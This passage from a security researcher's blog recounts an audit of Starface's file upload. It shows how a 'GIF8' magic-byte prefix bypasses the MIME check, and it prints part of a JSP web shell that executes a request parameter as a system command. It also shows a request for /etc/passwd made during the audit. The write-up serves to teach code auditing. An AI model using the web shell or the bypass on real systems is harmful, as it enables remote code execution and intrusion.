info.getMimeType().equalsIgnoreCase(s))) {
/* 280 */ throw new FileUploadCheckException("jsp.error.upload.wrong.mime.type", String.join(", ", this.mimeTypes));
/* */ }
[...]
I then followed the call to
com.j256.simplemagic.ContentInfoUtil.findMatch(File) and you might
have realized already that the namespace changed. We hit another
library code, no Starface code anymore. Searching at the VM's file
system revealed the JAR file of the library located at webapps/
starface/WEB-INF/lib/simplemagic-1.16.jar.
The input for the MIME type definitions came from a file magic.gz in
the library's JAR itself. This file was well-structured for every
type based on magic bytes and partially subsequent bytes.
0 string SIMPLE\x20\x20= FITS data
!:mime application/fits
[...]
Knowing which image file types were accepted in Starface, I could
focus on the magic.gz byte definitions for those. Another principle I
try to follow: always try the simpliest things first. Some MIME type
definitions included complex byte structure checks, some others
didn't. What I got was this:
[...]
0 string GIF8 GIF image data
!:mime image/gif
[...]
The comparisons began at the very first byte of our input stream and
checked the first four bytes being equal to GIF8. And indeed, I was
able to upload JSP code, even preserving the file extension, with
something like this:
GIF8<%@ page import="java.util.*,java.io.*"%>
<%
%>
Commands with JSP
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "
");
Process p;
if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
[...]
I even tried to copy this file into the Tomcat ROOT directory
manually and was surprised that Tomcat happily served this file as
JSP despite the GIF8 prefix. We learnt something new!
Current status:
1. We could upload a malicious file thanks to a MIME type check
bypass.
2. We didn't have to hold a special permission but any authenticated
user.
3. We knew the file name and location on the file system.
We didn't test this with a serialized object instead of a JSP file
but wanted to check the CewolfServlet call first.
We made a request to http://192.168.2.103/config/statistic/
statrender?img=/etc/passwd and hit the breakpoint
CeWolf Hit
with our desired parameter
CeWolf Param
and failed
CeWolf Fail
(...twice if you check the processing of imgKey more closely).
No de.laures.cewolf.storage.FileStorage object here but
de.laures.cewolf.storage.TransientSessionStorage. Guess what? No
readObject() anymore.
Conclusion of this journey:
1. We managed to find a dangerous file upload.
2. We failed to chain it with a previously known deserialization
issue of a library.
More Fails
You're looking for more fails? Look at struts.xml again and draw your
own conclusions.
[...]
[...]
Last Words
This blog post already became a bit too long so I stop here with my
fail compilation. I hope you learnt something about the methods I
use, common pitfalls and some inspiration for a proper mindset on
security code auditing.
Frycos Security Diary
* Frycos Security Diary
* frycos
* frycos
Blogging mainly